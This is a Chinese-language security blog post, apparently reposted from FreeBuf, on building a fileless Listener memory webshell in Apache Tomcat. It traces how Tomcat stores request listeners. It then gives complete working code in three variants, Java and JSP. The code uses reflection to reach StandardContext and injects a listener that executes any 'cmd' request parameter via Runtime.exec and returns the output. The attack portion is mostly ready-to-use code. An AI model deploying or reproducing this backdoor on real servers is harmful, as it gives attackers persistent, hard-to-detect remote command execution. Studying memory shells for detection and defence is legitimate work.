JAVA安全——基于tomcat的内存马学习——listener内存马
Listener 三个域对象ServletContextListenerHttpSessionListenerServletRequestListener很明显,ServletRequestListe 2025-12-1 02:13:15 Author: www.freebuf.com(查看原文) 阅读量:1 收藏

Listener 三个域对象

  • ServletContextListener

  • HttpSessionListener

  • ServletRequestListener

很明显,ServletRequestListener 是最适合用来作为内存马的。因为 ServletRequestListener 是用来监听 ServletRequest对 象的,当我们访问任意资源时,都会触发ServletRequestListener#requestInitialized()方法。下面我们来实现一个恶意的 Listener

demo

package org.example.ma;

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
import java.util.EventListener;

@WebListener("/listenerTest")
public class ListenerTest implements ServletRequestListener {

    public ListenerTest(){
    }

    @Override
 public void requestDestroyed(ServletRequestEvent sre) {

    }

    @Override
 public void requestInitialized(ServletRequestEvent sre) {
        System.out.println("Listener are running");
 }
}

web.xml添加,按照自己定义的类位置添加.而且可以进一步的想一下.因为起的是监听作用所以,所以他不会同前文的filter一样还需要绑定url映射,他的作用是不管是在任何位置都应该能监听的到.

<listener>
 <listener-class>org.example.ma.ListenerTest</listener-class>
</listener>

启动应用的时候,ContextConfig#configureContext来读取web.xml的配置
image
转到addApplicationListener的实现.可以定位到StandardContext#addApplicationListener.这里就是配置文件的读取.
将断点打在

System.out.println("Listener are running");

可以在调用栈
image
跟进到StandardContext#fireRequestInitEvent,可以找到其是按照instances[]数组内的顺序来调用listener,这里联想之前filter链.按照顺序调用每个listener的requestInitialized
image
getApplicationEventListeners()方法做了这么一件事:获取一个 Listener 数组

public Object[] getApplicationEventListeners() {
        return applicationEventListenersList.toArray();
}

我们可以点进去看一下 applicationEventListenersList 是什么,可以看到 Listener 实际上是存储在applicationEventListenersList属性中的。
image
并且我们可以通过StandardContext#addApplicationEventListener()方法来添加 Listener

public void addApplicationEventListener(Object listener) {
        applicationEventListenersList.add(listener);
}

exp

思路大体为

反射获取StandardContext对象

//从request中获取ServletContext
ServletContext servletContext =  request.getServletContext();

//从context中获取ApplicationContext对象
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

//从ApplicationContext中获取StandardContext对象
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

恶意listener

class ListenerMemShell implements ServletRequestListener {

        @Override
        public void requestInitialized(ServletRequestEvent sre) {
            String cmd;
            try {
                cmd = sre.getServletRequest().getParameter("cmd");
                org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest();
                Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
                requestField.setAccessible(true);
                Request request = (Request) requestField.get(requestFacade);
                Response response = request.getResponse();

                if (cmd != null){
                    InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
                    int i = 0;
                    byte[] bytes = new byte[1024];
                    while ((i=inputStream.read(bytes)) != -1){
                        response.getWriter().write(new String(bytes,0,i));
                        response.getWriter().write("\r\n");
                    }
                }
            }catch (Exception e){
                e.printStackTrace();
            }
        }

        @Override
        public void requestDestroyed(ServletRequestEvent sre) {
        }
    }

添加恶意listener到applicationEventListenersList中

Object[] objects = standardContext.getApplicationEventListeners();
    List<Object> listeners = Arrays.asList(objects);
    List<Object> arrayList = new ArrayList(listeners);
    arrayList.add(new ListenerMemShell());
    standardContext.setApplicationEventListeners(arrayList.toArray());

jsp版本.

<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.Arrays" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%!

    class ListenerMemShell implements ServletRequestListener {

        @Override
        public void requestInitialized(ServletRequestEvent sre) {
            String cmd;
            try {
                cmd = sre.getServletRequest().getParameter("cmd");
                org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest();
                Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
                requestField.setAccessible(true);
                Request request = (Request) requestField.get(requestFacade);
                Response response = request.getResponse();

                if (cmd != null){
                    InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
                    int i = 0;
                    byte[] bytes = new byte[1024];
                    while ((i=inputStream.read(bytes)) != -1){
                        response.getWriter().write(new String(bytes,0,i));
                        response.getWriter().write("\r\n");
                    }
                }
            }catch (Exception e){
                e.printStackTrace();
            }
        }

        @Override
        public void requestDestroyed(ServletRequestEvent sre) {
        }
    }
%>

<%
 ServletContext servletContext =  request.getServletContext();
   //从request中获取ServletContext


//从context中获取ApplicationContext对象
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

//从ApplicationContext中获取StandardContext对象
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
  //添加恶意listener到applicationEventListenersList中
    Object[] objects = standardContext.getApplicationEventListeners();
    List<Object> listeners = Arrays.asList(objects);
    List<Object> arrayList = new ArrayList(listeners);
    arrayList.add(new ListenerMemShell());
    standardContext.setApplicationEventListeners(arrayList.toArray());

%>

image

image
还有个版本的,我感觉怪怪的这直接就写了给恶意的listener在服务端.其构造也没啥可以分析的,我粘贴的大神的代码,大家看看就可以了

package Listener;

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Field;

@WebListener
public class ListenerShell implements ServletRequestListener {
    @Override
 public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
    }

    @Override
 public void requestInitialized(ServletRequestEvent servletRequestEvent) {
        HttpServletRequest req = (HttpServletRequest)servletRequestEvent.getServletRequest();
 HttpServletResponse resp = this.getResponseFromRequest(req);
 String cmd = req.getParameter("cmd");
 try {
            String result = this.CommandExec(cmd);
 resp.getWriter().println(result);
 System.out.println("部署完成");
 } catch (Exception e) {

        }
    }
    public String CommandExec(String cmd) throws Exception {
        Runtime rt = Runtime.getRuntime();
 Process proc = rt.exec(cmd);
 InputStream stderr =  proc.getInputStream();
 InputStreamReader isr = new InputStreamReader(stderr);
 BufferedReader br = new BufferedReader(isr);
 String line = null;
 StringBuffer sb = new StringBuffer();
 while ((line = br.readLine()) != null) {
            sb.append(line + "\n");
 }
        return sb.toString();
 }

    public synchronized HttpServletResponse getResponseFromRequest(HttpServletRequest var1) {
        HttpServletResponse var2 = null;

 try {
            Field var3 = var1.getClass().getDeclaredField("response");
 var3.setAccessible(true);
 var2 = (HttpServletResponse)var3.get(var1);
 } catch (Exception var8) {
            try {
                Field var4 = var1.getClass().getDeclaredField("request");
 var4.setAccessible(true);
 Object var5 = var4.get(var1);
 Field var6 = var5.getClass().getDeclaredField("response");
 var6.setAccessible(true);
 var2 = (HttpServletResponse)var6.get(var5);
 } catch (Exception var7) {
            }
        }

        return var2;
 }
}

文章来源: https://www.freebuf.com/articles/web/459746.html
如有侵权请联系:admin#unsafe.sh